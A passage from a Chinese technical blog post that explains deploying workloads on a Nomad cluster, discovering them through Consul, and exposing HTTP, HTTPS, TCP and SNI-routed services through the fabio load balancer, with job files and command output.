job相关子命令完成。下面是通过job部署工作负载的流程示意图：\n从图中可以看到，我们需要做的仅仅是将编写好的job文件提交给nomad即可。\nJob spec定义了：job -\u0026gt; group -\u0026gt; task的层次关系。每个job文件只有一个job，但是一个job可能有多个group，每个group可能有多个task。group包含一组要放在同一个集群中调度的task。一个Nomad task是由其驱动程序（driver）在Nomad client节点上执行的命令、服务、应用程序或其他工作负载。task可以是短时间的批处理作业（batch）或长时间运行的服务(service)，例如web应用程序、数据库服务器或API。\nTasks是在用HCL语法的声明性job规范中定义的。Job文件提交给Nomad服务端，服务端决定在何处以及如何将job文件中定义的task分配给客户端节点。另一种概念化的理解是:job规范表示工作负载的期望状态，Nomad服务端创建并维护其实际状态。\n通过job，开发人员还可以为工作负载定义约束和资源。约束（constraint）通过内核类型和版本等属性限制了工作负载在节点上的位置。资源（resources）需求包括运行task所需的内存、网络、CPU等。\n有三种类型的job：system、service和batch，它们决定Nomad将用于此job中task的调度器。service 调度器被设计用来调度永远不会宕机的长寿命服务。batch作业对短期性能波动的敏感性要小得多，寿命也很短，几分钟到几天就可以完成。system调度器用于注册应该在满足作业约束的所有nomad client上运行的作业。当某个client加入到nomad集群或转换到就绪状态时也会调用它。\nNomad允许job作者为自动重新启动失败和无响应的任务指定策略，并自动将失败的任务重新调度到其他节点，从而使任务工作负载具有弹性。\n如果对应到k8s中的概念，group更像是某种controller，而task更类似于pod，是被真实调度的实体。Job spec对应某个k8s api object的spec，具体体现在某个yaml文件中。\n下面我们就来真实地在nomad集群中创建一个工作负载。我们使用之前在《基于consul实现微服务的服务发现和负载均衡》一文中使用过的那几个demo image，这里我们先使用httpbackendservice镜像来创建一个job。\n下面是httpbackend的job文件：\n// httpbackend-1.nomad job \u0026quot;httpbackend\u0026quot; { datacenters = [\u0026quot;dc1\u0026quot;] type = \u0026quot;service\u0026quot; group \u0026quot;httpbackend\u0026quot; { count = 2 task \u0026quot;httpbackend\u0026quot; { driver = \u0026quot;docker\u0026quot; config { image = \u0026quot;bigwhite/httpbackendservice:v1.0.0\u0026quot; port_map { http = 8081 } logging { type = \u0026quot;json-file\u0026quot; } } resources { network { mbits = 10 port \u0026quot;http\u0026quot; {} } } service { name = \u0026quot;httpbackend\u0026quot; port = \u0026quot;http\u0026quot; } } } } 这个文件基本都是自解释的，重点提几个地方：\njob type: service ： 说明该job创建和调度的是一个service类型的工作负载；\ncount = 2 ： 类似于k8s的replicas字段，期望在nomad集群中运行2个httpbackend服务实例，nomad来保证始终处于期望状态。\n关于port：port_map指定了task中容器的监听端口。network中的port “http” {}没有指定静态IP，因此将采用动态主机端口。service中的port则指明使用”http”这个tag的动态主机端口。这和k8s中service中port使用名称匹配的方式映射到具体pod中的port的方法类似。\n我们使用nomad job子命令来创建该工作负载。正式创建之前，我们可以先通过nomad job plan来dry-run一下，一是看job文件格式是否ok；二来检查一下nomad集群是否有空余资源创建和调度新的工作负载：\n# nomad job plan httpbackend-1.nomad +/- Job: \u0026quot;httpbackend\u0026quot; +/- Stop: \u0026quot;true\u0026quot; =\u0026gt; \u0026quot;false\u0026quot; Task Group: \u0026quot;httpbackend\u0026quot; (2 create) Task: \u0026quot;httpbackend\u0026quot; Scheduler dry-run: - All tasks successfully allocated. Job Modify Index: 4248 To submit the job with version verification run: nomad job run -check-index 4248 httpbackend-1.nomad When running the job with the check-index flag, the job will only be run if the server side version matches the job modify index returned. If the index has changed, another user has modified the job and the plan's results are potentially invalid. 如果plan的输出结果没有问题，则可以用nomad job run正式创建和调度job：\n# nomad job run httpbackend-1.nomad ==\u0026gt; Monitoring evaluation \u0026quot;40c63529\u0026quot; Evaluation triggered by job \u0026quot;httpbackend\u0026quot; Allocation \u0026quot;6b0b83de\u0026quot; created: node \u0026quot;9e3ef19f\u0026quot;, group \u0026quot;httpbackend\u0026quot; Allocation \u0026quot;d0710b85\u0026quot; created: node \u0026quot;7acdd7bc\u0026quot;, group \u0026quot;httpbackend\u0026quot; Evaluation status changed: \u0026quot;pending\u0026quot; -\u0026gt; \u0026quot;complete\u0026quot; ==\u0026gt; Evaluation \u0026quot;40c63529\u0026quot; finished with status \u0026quot;complete\u0026quot; 接下来，我们可以使用nomad job status命令查看job的创建情况以及某个job的详细状态信息：\n# nomad job status ID Type Priority Status Submit Date httpbackend service 50 running 2019-03-30T04:58:09+08:00 # nomad job status httpbackend ID = httpbackend Name = httpbackend Submit Date = 2019-03-30T04:58:09+08:00 Type = service Priority = 50 Datacenters = dc1 Status = running Periodic = false Parameterized = false Summary Task Group Queued Starting Running Failed Complete Lost httpbackend 0 0 2 0 0 0 Allocations ID Node ID Task Group Version Desired Status Created Modified 6b0b83de 9e3ef19f httpbackend 11 run running 8m ago 7m50s ago d0710b85 7acdd7bc httpbackend 11 run running 8m ago 7m39s ago 前面说过，nomad只是集群管理和负载调度，服务发现它是不管的，并且服务发现的问题早已经被consul解决掉了。所以httpbackend创建后，要想使用该服务，我们还得走consul提供的路线：\nDNS方式(前面已经做过铺垫了)：\n# dig SRV httpbackend.service.dc1.consul ; \u0026lt;\u0026lt;\u0026gt;\u0026gt; DiG 9.10.3-P4-Ubuntu \u0026lt;\u0026lt;\u0026gt;\u0026gt; SRV httpbackend.service.dc1.consul ;; global options: +cmd ;; Got answer: ;; -\u0026gt;\u0026gt;HEADER\u0026lt;\u0026lt;- opcode: QUERY, status: NOERROR, id: 7742 ;; flags: qr aa rd; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 5 ;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 4096 ;; QUESTION SECTION: ;httpbackend.service.dc1.consul. IN SRV ;; ANSWER SECTION: httpbackend.service.dc1.consul. 0 IN SRV 1 1 23578 consul-1.node.dc1.consul. httpbackend.service.dc1.consul. 0 IN SRV 1 1 22819 consul-2.node.dc1.consul. ;; ADDITIONAL SECTION: consul-1.node.dc1.consul. 0 IN A 172.16.66.102 consul-1.node.dc1.consul. 0 IN TXT \u0026quot;consul-network-segment=\u0026quot; consul-2.node.dc1.consul. 0 IN A 172.16.66.103 consul-2.node.dc1.consul. 0 IN TXT \u0026quot;consul-network-segment=\u0026quot; ;; Query time: 471 msec ;; SERVER: 172.16.66.102#53(172.16.66.102) ;; WHEN: Sat Mar 30 05:07:54 CST 2019 ;; MSG SIZE rcvd: 251 # curl http://172.16.66.102:23578 this is httpbackendservice, version: v1.0.0 # curl http://172.16.66.103:22819 this is httpbackendservice, version: v1.0.0 或http api方式(可通过官方API查询服务)：\n# curl http://127.0.0.1:8500/v1/health/service/httpbackend [ { \u0026quot;Node\u0026quot;: {\u0026quot;ID\u0026quot;:\u0026quot;160a7a20-f177-d2f5-0765-e6d1a9a1a9a4\u0026quot;,\u0026quot;Node\u0026quot;:\u0026quot;consul-1\u0026quot;,\u0026quot;Address\u0026quot;:\u0026quot;172.16.66.102\u0026quot;,\u0026quot;Datacenter\u0026quot;:\u0026quot;dc1\u0026quot;,\u0026quot;TaggedAddresses\u0026quot;:{\u0026quot;lan\u0026quot;:\u0026quot;172.16.66.102\u0026quot;,\u0026quot;wan\u0026quot;:\u0026quot;172.16.66.102\u0026quot;},\u0026quot;Meta\u0026quot;:{\u0026quot;consul-network-segment\u0026quot;:\u0026quot;\u0026quot;},\u0026quot;CreateIndex\u0026quot;:7,\u0026quot;ModifyIndex\u0026quot;:10}, \u0026quot;Service\u0026quot;: {\u0026quot;ID\u0026quot;:\u0026quot;_nomad-task-5uxc3b7hjzivbklslt4yj5bpsfagibrb\u0026quot;,\u0026quot;Service\u0026quot;:\u0026quot;httpbackend\u0026quot;,\u0026quot;Tags\u0026quot;:[],\u0026quot;Address\u0026quot;:\u0026quot;172.16.66.102\u0026quot;,\u0026quot;Meta\u0026quot;:null,\u0026quot;Port\u0026quot;:23578,\u0026quot;Weights\u0026quot;:{\u0026quot;Passing\u0026quot;:1,\u0026quot;Warning\u0026quot;:1},\u0026quot;EnableTagOverride\u0026quot;:false,\u0026quot;ProxyDestination\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;Proxy\u0026quot;:{},\u0026quot;Connect\u0026quot;:{},\u0026quot;CreateIndex\u0026quot;:30727,\u0026quot;ModifyIndex\u0026quot;:30727}, \u0026quot;Checks\u0026quot;: [{\u0026quot;Node\u0026quot;:\u0026quot;consul-1\u0026quot;,\u0026quot;CheckID\u0026quot;:\u0026quot;serfHealth\u0026quot;,\u0026quot;Name\u0026quot;:\u0026quot;Serf Health Status\u0026quot;,\u0026quot;Status\u0026quot;:\u0026quot;passing\u0026quot;,\u0026quot;Notes\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;Output\u0026quot;:\u0026quot;Agent alive and reachable\u0026quot;,\u0026quot;ServiceID\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;ServiceName\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;ServiceTags\u0026quot;:[],\u0026quot;Definition\u0026quot;:{},\u0026quot;CreateIndex\u0026quot;:7,\u0026quot;ModifyIndex\u0026quot;:7}] }, { \u0026quot;Node\u0026quot;: {\u0026quot;ID\u0026quot;:\u0026quot;6795cd2c-fad5-9d4f-2531-13b0a65e0893\u0026quot;,\u0026quot;Node\u0026quot;:\u0026quot;consul-2\u0026quot;,\u0026quot;Address\u0026quot;:\u0026quot;172.16.66.103\u0026quot;,\u0026quot;Datacenter\u0026quot;:\u0026quot;dc1\u0026quot;,\u0026quot;TaggedAddresses\u0026quot;:{\u0026quot;lan\u0026quot;:\u0026quot;172.16.66.103\u0026quot;,\u0026quot;wan\u0026quot;:\u0026quot;172.16.66.103\u0026quot;},\u0026quot;Meta\u0026quot;:{\u0026quot;consul-network-segment\u0026quot;:\u0026quot;\u0026quot;},\u0026quot;CreateIndex\u0026quot;:5,\u0026quot;ModifyIndex\u0026quot;:5}, \u0026quot;Service\u0026quot;: {\u0026quot;ID\u0026quot;:\u0026quot;_nomad-task-hvqnbklzqr6q5mpspqcqbnhxdil4su4d\u0026quot;,\u0026quot;Service\u0026quot;:\u0026quot;httpbackend\u0026quot;,\u0026quot;Tags\u0026quot;:[],\u0026quot;Address\u0026quot;:\u0026quot;172.16.66.103\u0026quot;,\u0026quot;Meta\u0026quot;:null,\u0026quot;Port\u0026quot;:22819,\u0026quot;Weights\u0026quot;:{\u0026quot;Passing\u0026quot;:1,\u0026quot;Warning\u0026quot;:1},\u0026quot;EnableTagOverride\u0026quot;:false,\u0026quot;ProxyDestination\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;Proxy\u0026quot;:{},\u0026quot;Connect\u0026quot;:{},\u0026quot;CreateIndex\u0026quot;:30725,\u0026quot;ModifyIndex\u0026quot;:30725}, \u0026quot;Checks\u0026quot;: [{\u0026quot;Node\u0026quot;:\u0026quot;consul-2\u0026quot;,\u0026quot;CheckID\u0026quot;:\u0026quot;serfHealth\u0026quot;,\u0026quot;Name\u0026quot;:\u0026quot;Serf Health Status\u0026quot;,\u0026quot;Status\u0026quot;:\u0026quot;passing\u0026quot;,\u0026quot;Notes\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;Output\u0026quot;:\u0026quot;Agent alive and reachable\u0026quot;,\u0026quot;ServiceID\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;ServiceName\u0026quot;:\u0026quot;\u0026quot;,\u0026quot;ServiceTags\u0026quot;:[],\u0026quot;Definition\u0026quot;:{},\u0026quot;CreateIndex\u0026quot;:8,\u0026quot;ModifyIndex\u0026quot;:8}] } ] 三. 将服务暴露到外部以及负载均衡 集群内部的东西向流量可以通过consul的服务发现来实现，南北向流量则需要我们将部分服务暴露到外部才能实现流量导入。在《基于consul实现微服务的服务发现和负载均衡》一文中，我们是通过nginx实现服务暴露和负载均衡的，但是需要consul-template的协助，并且自己需要实现一个nginx的配置模板，门槛较高也比较复杂。\nnomad的官方文档推荐了fabio这个反向代理和负载均衡工具。fabio最初由位于荷兰的“eBay Classifieds Group”开发，它为荷兰（marktplaats.nl），澳大利亚（gumtree.com.au）和意大利（www.kijiji.it）的一些最大网站提供支持。自2015年9月以来，它为这些站点提供23000个请求/秒的处理能力(性能应对一般中等流量是没有太大问题的)，没有发现重大问题。\n与consul-template+nginx的组合不同，fabio无需开发人员做任何二次开发，也不需要自定义模板，它直接从consul读取service list并生成相关路由。至于哪些服务要暴露在外部，路由形式是怎样的，是需要在服务启动时为服务设置特定的tag，fabio定义了一套灵活的路由匹配描述方法。\n下面我们就来部署fabio，并将上面的httpbackend暴露到外部。\n1. 部署fabio fabio也是nomad集群的一个工作负载，因此我们可以像普通job那样部署fabio。我们先来使用nomad官方文档中给出fabio.nomad：\n//fabio.nomad job \u0026quot;fabio\u0026quot; { datacenters = [\u0026quot;dc1\u0026quot;] type = \u0026quot;system\u0026quot; group \u0026quot;fabio\u0026quot; { task \u0026quot;fabio\u0026quot; { driver = \u0026quot;docker\u0026quot; config { image = \u0026quot;fabiolb/fabio\u0026quot; network_mode = \u0026quot;host\u0026quot; logging { type = \u0026quot;json-file\u0026quot; } } resources { cpu = 200 memory = 128 network { mbits = 20 port \u0026quot;lb\u0026quot; { static = 9999 } port \u0026quot;ui\u0026quot; { static = 9998 } } } } } } 这里有几点值得注意：\nfabio job的类型是”system”，也就是说该job会被部署到job可以匹配到（通过设定的约束条件）的所有nomad client上，且每个client上仅部署一个实例，有些类似于k8s的daemonset控制下的pod；\nnetwork_mode = “host” 告诉fabio的驱动docker：fabio容器使用host网络，即与主机同网络namespace；\nstatic = 9999和static = 9998，说明fabio在每个nomad client上监听固定的静态端口而不是使用动态端口。这也要求了每个nomad client上不允许存在与fabio端口冲突的应用启动。\n我们来plan和run一下这个fabio job：\n# nomad job plan fabio.nomad + Job: \u0026quot;fabio\u0026quot; + Task Group: \u0026quot;fabio\u0026quot; (3 create) + Task: \u0026quot;fabio\u0026quot; (forces create) Scheduler dry-run: - All tasks successfully allocated. Job Modify Index: 0 To submit the job with version verification run: nomad job run -check-index 0 fabio.nomad When running the job with the check-index flag, the job will only be run if the server side version matches the job modify index returned. If the index has changed, another user has modified the job and the plan's results are potentially invalid. # nomad job run fabio.nomad ==\u0026gt; Monitoring evaluation \u0026quot;97bfc16d\u0026quot; Evaluation triggered by job \u0026quot;fabio\u0026quot; Allocation \u0026quot;1b77dcfa\u0026quot; created: node \u0026quot;c281658a\u0026quot;, group \u0026quot;fabio\u0026quot; Allocation \u0026quot;da35a778\u0026quot; created: node \u0026quot;7acdd7bc\u0026quot;, group \u0026quot;fabio\u0026quot; Allocation \u0026quot;fc915ab7\u0026quot; created: node \u0026quot;9e3ef19f\u0026quot;, group \u0026quot;fabio\u0026quot; Evaluation status changed: \u0026quot;pending\u0026quot; -\u0026gt; \u0026quot;complete\u0026quot; ==\u0026gt; Evaluation \u0026quot;97bfc16d\u0026quot; finished with status \u0026quot;complete\u0026quot; 查看一下fabio job的运行状态：\n# nomad job status fabio ID = fabio Name = fabio Submit Date = 2019-03-27T14:30:29+08:00 Type = system Priority = 50 Datacenters = dc1 Status = running Periodic = false Parameterized = false Summary Task Group Queued Starting Running Failed Complete Lost fabio 0 0 3 0 0 0 Allocations ID Node ID Task Group Version Desired Status Created Modified 1b77dcfa c281658a fabio 0 run running 1m11s ago 58s ago da35a778 7acdd7bc fabio 0 run running 1m11s ago 54s ago fc915ab7 9e3ef19f fabio 0 run running 1m11s ago 58s ago 通过9998端口，可以查看fabio的ui页面，这个页面主要展示的是fabio生成的路由信息：\n由于尚未暴露任何服务，因此fabio的路由表为空。\nfabio的流量入口为9999端口，不过由于没有配置路由和upstream service，因此如果此时向9999端口发送http请求，将会得到404的应答。\n2. 暴露HTTP服务到外部 接下来，我们就将上面创建的httpbackend服务通过fabiolb暴露到外部，使得特定条件下通过fabiolb进入集群内部的流量可以被准确路由到集群中的httpbackend实例上面。\n下面是fabio将nomad集群内部服务暴露在外部的原理图：\n我们看到原理图中最为关键的一点就是service tag，该信息由nomad在创建job时写入到consul集群；fabio监听consul集群service信息变更，读取有新变动的job，解析job的service tag，生成路由规则。fabio关注所有带有”urlprefix-”前缀的service tag。\nfabio启动时监听的9999端口，默认是http接入。我们修改一下之前的httpbackend.nomad，为该job中的service增加tag字段：\n// httpbackend.nomad ... ... service { name = \u0026quot;httpbackend\u0026quot; tags = [\u0026quot;urlprefix-mysite.com:9999/\u0026quot;] port = \u0026quot;http\u0026quot; check { name = \u0026quot;alive\u0026quot; type = \u0026quot;http\u0026quot; path = \u0026quot;/\u0026quot; interval = \u0026quot;10s\u0026quot; timeout = \u0026quot;2s\u0026quot; } } 对于上面httpbackend.nomad中service块的变更，主要有两点：\n增加tag：匹配的路由信息为：“mysite.com:9999/”\n增加check块：如果没有check设置，该路由信息将不会在fabio中生效\n更新一下httpbackend:\n# nomad job run httpbackend-2.nomad ==\u0026gt; Monitoring evaluation \u0026quot;c83af3d3\u0026quot; Evaluation triggered by job \u0026quot;httpbackend\u0026quot; Allocation \u0026quot;6b0b83de\u0026quot; modified: node \u0026quot;9e3ef19f\u0026quot;, group \u0026quot;httpbackend\u0026quot; Allocation \u0026quot;d0710b85\u0026quot; modified: node \u0026quot;7acdd7bc\u0026quot;, group \u0026quot;httpbackend\u0026quot; Evaluation status changed: \u0026quot;pending\u0026quot; -\u0026gt; \u0026quot;complete\u0026quot; ==\u0026gt; Evaluation \u0026quot;c83af3d3\u0026quot; finished with status \u0026quot;complete\u0026quot; 查看fabio的route表，可以看到增加了两条新路由信息：\n我们通过fabio来访问一下httpbackend服务：\n# curl http://mysite.com:9999/ --- 注意：事先已经在/etc/hosts中添加了 mysite.com的地址为127.0.0.1 this is httpbackendservice, version: v1.0.0 我们看到httpbackend service已经被成功暴露到lb的外部了。\n四. 暴露HTTPS、TCP服务到外部 1. 定制fabio 我们的目标是将https、tcp服务暴露到lb的外部，nomad官方文档中给出的fabio.nomad将不再适用，我们需要让fabio监听多个端口，每个端口有着不同的用途。同时，我们通过给fabio传入适当的命令行参数来帮助我们查看fabio的详细access日志信息，并让fabio支持TRACE机制。\nfabio.nomad调整如下：\njob \u0026quot;fabio\u0026quot; { datacenters = [\u0026quot;dc1\u0026quot;] type = \u0026quot;system\u0026quot; group \u0026quot;fabio\u0026quot; { task \u0026quot;fabio\u0026quot; { driver = \u0026quot;docker\u0026quot; config { image = \u0026quot;fabiolb/fabio\u0026quot; network_mode = \u0026quot;host\u0026quot; logging { type = \u0026quot;json-file\u0026quot; } args = [ \u0026quot;-proxy.addr=:9999;proto=http,:9997;proto=tcp,:9996;proto=tcp+sni\u0026quot;, \u0026quot;-log.level=TRACE\u0026quot;, \u0026quot;-log.access.target=stdout\u0026quot; ] } resources { cpu = 200 memory = 128 network { mbits = 20 } } } } } 我们让fabio监听三个端口：\n9999: http端口\n9997: tcp端口\n9996: tcp+sni端口\n后续会针对这三个端口暴露的不同服务做细致说明。\n我们将fabio的日志级别调低为TRACE级别，以便能查看到fabio日志中输出的trace信息，帮助我们进行路由匹配的诊断。\n重新nomad job run fabio.nomad后，我们来看看TRACE的效果：\n//访问后端服务，在http header中添加\u0026quot;Trace: abc\u0026quot;： # curl -H 'Trace: abc' 'http://mysite.com:9999/' this is httpbackendservice, version: v1.0.0 //查看fabio的访问日志： 2019/03/30 08:13:15 [TRACE] abc Tracing mysite.com:9999/ 2019/03/30 08:13:15 [TRACE] abc Matching hosts: [mysite.com:9999] 2019/03/30 08:13:15 [TRACE] abc Match mysite.com:9999/ 2019/03/30 08:13:15 [TRACE] abc Routing to service httpbackend on http://172.16.66.102:23578/ 127.0.0.1 - - [30/Mar/2019:08:13:15 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 44 我们可以清晰的看到fabio收到请求后，匹配到一条路由：”mysite.com:9999/”，然后将http请求转发到 172.16.66.102:23578这个httpbackend服务实例上去了。\n2. https服务 接下来，我们考虑将一个https服务暴露在lb外部。\n一种方案是fabiolb做ssl termination，然后再在与upstream https服务建立的ssl连接上传递数据。这种两段式https通信是比较消耗资源的，fabio要对数据进行两次加解密。\n另外一种方案是fabiolb将收到的请求透传给后面的upsteam https服务，由client与upsteam https服务直接建立“安全数据通道”，这个方案我们在后续会提到。\n第三种方案，那就是对外依旧暴露http，但是fabiolb与upsteam之间通过https通信。我们先来看一下这种“间接暴露https”的方案。\n// httpsbackend-upstreamhttps.nomad job \u0026quot;httpsbackend\u0026quot; { datacenters = [\u0026quot;dc1\u0026quot;] type = \u0026quot;service\u0026quot; group \u0026quot;httpsbackend\u0026quot; { count = 2 restart { attempts = 2 interval = \u0026quot;30m\u0026quot; delay = \u0026quot;15s\u0026quot; mode = \u0026quot;fail\u0026quot; } task \u0026quot;httpsbackend\u0026quot; { driver = \u0026quot;docker\u0026quot; config { image = \u0026quot;bigwhite/httpsbackendservice:v1.0.0\u0026quot; port_map { https = 7777 } logging { type = \u0026quot;json-file\u0026quot; } } resources { network { mbits = 10 port \u0026quot;https\u0026quot; {} } } service { name = \u0026quot;httpsbackend\u0026quot; tags = [\u0026quot;urlprefix-mysite-https.com:9999/ proto=https tlsskipverify=true\u0026quot;] port = \u0026quot;https\u0026quot; check { name = \u0026quot;alive\u0026quot; type = \u0026quot;tcp\u0026quot; path = \u0026quot;/\u0026quot; interval = \u0026quot;10s\u0026quot; timeout = \u0026quot;2s\u0026quot; } } } } } 我们将创建名为httpsbackend的job，job中Task对应的tag为：”urlprefix-mysite-https.com:9999/ proto=https tlsskipverify=true”。解释为：路由mysite-https.com:9999/，上游upstream服务为https服务，fabio不验证upstream服务的公钥数字证书。\n我们创建该job：\n# nomad job run httpsbackend-upstreamhttps.nomad ==\u0026gt; Monitoring evaluation \u0026quot;ba7af6d4\u0026quot; Evaluation triggered by job \u0026quot;httpsbackend\u0026quot; Allocation \u0026quot;3127aac8\u0026quot; created: node \u0026quot;7acdd7bc\u0026quot;, group \u0026quot;httpsbackend\u0026quot; Allocation \u0026quot;b5f1b7a7\u0026quot; created: node \u0026quot;9e3ef19f\u0026quot;, group \u0026quot;httpsbackend\u0026quot; Evaluation status changed: \u0026quot;pending\u0026quot; -\u0026gt; \u0026quot;complete\u0026quot; ==\u0026gt; Evaluation \u0026quot;ba7af6d4\u0026quot; finished with status \u0026quot;complete\u0026quot; 我们来通过fabiolb访问一下httpsbackend这个服务：\n# curl -H \u0026quot;Trace: abc\u0026quot; http://mysite-https.com:9999/ this is httpsbackendservice, version: v1.0.0 // fabiolb 日志 2019/03/30 09:35:48 [TRACE] abc Tracing mysite-https.com:9999/ 2019/03/30 09:35:48 [TRACE] abc Matching hosts: [mysite-https.com:9999] 2019/03/30 09:35:48 [TRACE] abc Match mysite-https.com:9999/ 2019/03/30 09:35:48 [TRACE] abc Routing to service httpsbackend on https://172.16.66.103:29248 127.0.0.1 - - [30/Mar/2019:09:35:48 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 45 3. 基于tcp代理暴露https服务 上面的方案虽然将https暴露在外面，但是client到fabio这个环节的数据传输不是在安全通道中。上面提到的方案2：fabiolb将收到的请求透传给后面的upsteam https服务，由client与upsteam https服务直接建立“安全数据通道”似乎更佳。fabiolb支持tcp端口的反向代理，我们基于tcp代理来暴露https服务到外部。\n我们建立httpsbackend-tcp.nomad文件，考虑篇幅有限，我们仅列出差异化的部分：\njob \u0026quot;httpsbackend-tcp\u0026quot; { ... ... service { name = \u0026quot;httpsbackend-tcp\u0026quot; tags = [\u0026quot;urlprefix-:9997 proto=tcp\u0026quot;] port = \u0026quot;https\u0026quot; check { name = \u0026quot;alive\u0026quot; type = \u0026quot;tcp\u0026quot; path = \u0026quot;/\u0026quot; interval = \u0026quot;10s\u0026quot; timeout = \u0026quot;2s\u0026quot; } } ... ... } 从httpsbackend-tcp.nomad文件，我们看到我们在9997这个tcp端口上暴露服务，tag为：“urlprefix-:9997 proto=tcp”，即凡是到达9997端口的流量，无论应用协议类型是什么，都转发到httpsbackend-tcp上，且通过tcp协议转发。\n我们创建并测试一下该方案：\n# nomad job run httpsbackend-tcp.nomad # curl -k https://localhost:9997 //由于使用的是自签名证书，所有告诉curl不校验server端公钥数字证书 this is httpsbackendservice, version: v1.0.0 4. 多个https服务共享一个fabio端口 上面的基于tcp代理暴露https服务的方案还有一个问题，那就是每个https服务都要独占一个fabio listen的端口。那是否可以实现多个https服务使用一个fabio端口，并通过host name route呢？fabio支持tcp+sni的route策略。\nSNI, 全称Server Name Indication，即服务器名称指示。它是一个扩展的TLS计算机联网协议。该协议允许在握手过程开始时通过客户端告诉它正在连接的服务器的主机名称。这允许服务器在相同的IP地址和TCP端口号上呈现多个证书，也就是允许在相同的IP地址上提供多个安全HTTPS网站（或其他任何基于TLS的服务），而不需要所有这些站点使用相同的证书。\n接下来，我们就来看一下如何在fabio中让多个后端https服务共享一个Fabio服务端口(9996)。我们建立两个job：httpsbackend-sni-1和httpsbackend-sni-2。\n//httpsbackend-tcp-sni-1.nomad job \u0026quot;httpsbackend-sni-1\u0026quot; { ... ... service { name = \u0026quot;httpsbackend-sni-1\u0026quot; tags = [\u0026quot;urlprefix-mysite-sni-1.com/ proto=tcp+sni\u0026quot;] port = \u0026quot;https\u0026quot; check { name = \u0026quot;alive\u0026quot; type = \u0026quot;tcp\u0026quot; path = \u0026quot;/\u0026quot; interval = \u0026quot;10s\u0026quot; timeout = \u0026quot;2s\u0026quot; } } .... ... } //httpsbackend-tcp-sni-2.nomad job \u0026quot;httpsbackend-sni-2\u0026quot; { ... ... task \u0026quot;httpsbackend-sni-2\u0026quot; { driver = \u0026quot;docker\u0026quot; config { image = \u0026quot;bigwhite/httpsbackendservice:v1.0.1\u0026quot; port_map { https = 7777 } logging { type = \u0026quot;json-file\u0026quot; } } service { name = \u0026quot;httpsbackend-sni-2\u0026quot; tags = [\u0026quot;urlprefix-mysite-sni-2.com/ proto=tcp+sni\u0026quot;] port = \u0026quot;https\u0026quot; check { name = \u0026quot;alive\u0026quot; type = \u0026quot;tcp\u0026quot; path = \u0026quot;/\u0026quot; interval = \u0026quot;10s\u0026quot; timeout = \u0026quot;2s\u0026quot; } } .... ... } 我们看到与之前的server tag不同的是：这里proto=tcp+sni，即告诉fabio建立sni路由。httpsbackend-sni-2 task与httpsbackend-sni-1不同之处在于其使用image为bigwhite/httpsbackendservice:v1.0.1，为的是能通过https的应答结果，将这两个服务区分开来。\n除此之外，我们还看到tag中并不包含端口号了，而是直接采用host name作为路由匹配标识。\n创建这两个job：\n# nomad job run httpsbackend-tcp-sni-1.nomad ==\u0026gt; Monitoring evaluation \u0026quot;af170d98\u0026quot; Evaluation triggered by job \u0026quot;httpsbackend-sni-1\u0026quot; Allocation \u0026quot;8ea1cc8d\u0026quot; modified: node \u0026quot;7acdd7bc\u0026quot;, group \u0026quot;httpsbackend-sni-1\u0026quot; Allocation \u0026quot;e16cdc73\u0026quot; modified: node \u0026quot;9e3ef19f\u0026quot;, group \u0026quot;httpsbackend-sni-1\u0026quot; Evaluation status changed: \u0026quot;pending\u0026quot; -\u0026gt; \u0026quot;complete\u0026quot; ==\u0026gt; Evaluation \u0026quot;af170d98\u0026quot; finished with status \u0026quot;complete\u0026quot; # nomad job run httpsbackend-tcp-sni-2.nomad ==\u0026gt; Monitoring evaluation \u0026quot;a77d3799\u0026quot; Evaluation triggered by job \u0026quot;httpsbackend-sni-2\u0026quot; Allocation \u0026quot;32df450c\u0026quot; modified: node \u0026quot;c281658a\u0026quot;, group \u0026quot;httpsbackend-sni-2\u0026quot; Allocation \u0026quot;e1bf4871\u0026quot; modified: node \u0026quot;7acdd7bc\u0026quot;, group \u0026quot;httpsbackend-sni-2\u0026quot; Evaluation status changed: \u0026quot;pending\u0026quot; -\u0026gt; \u0026quot;complete\u0026quot; ==\u0026gt; Evaluation \u0026quot;a77d3799\u0026quot; finished with status \u0026quot;complete\u0026quot; 我们来分别访问这两个服务：\n# curl -k https://mysite-sni-1.com:9996/ this is httpsbackendservice, version: v1.0.0 # curl -k https://mysite-sni-2.com:9996/ this is httpsbackendservice, version: v1.0.1 从返回的结果我们看到，通过9996，我们成功暴露出两个不同的https服务。\n五. 小结 到这里，我们实现了我们的既定目标：\n使用nomad实现了工作负载的创建和调度；\n东西向流量通过consul机制实现；\n通过fabio实现了http、https(through tcp)、多https(though tcp+sni)的服务暴露和负载均衡。\n后续我们将进一步探索基于nomad实现负载的多种场景的升降级操作(滚动、金丝雀、蓝绿部署)、对非host网络的支持（比如weave network)等。\n本文涉及到的源码文件在这里可以下载。\n六. 参考资料 使用Nomad构建弹性基础设施：nomad调度 使用Nomad构建弹性基础设施：重启任务 使用Nomad构建弹性基础设施: job生命周期 使用Nomad构建弹性基础设施：容错和自我修复 fabio参考指南 我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/03/30/cluster-management-and-microservice-deployment-and-scheduled-by-nomad/","summary":"\u003cp\u003e在\u003ca href=\"https://www.cncf.io/\"\u003e“云原生”\u003c/a\u003e、\u003ca 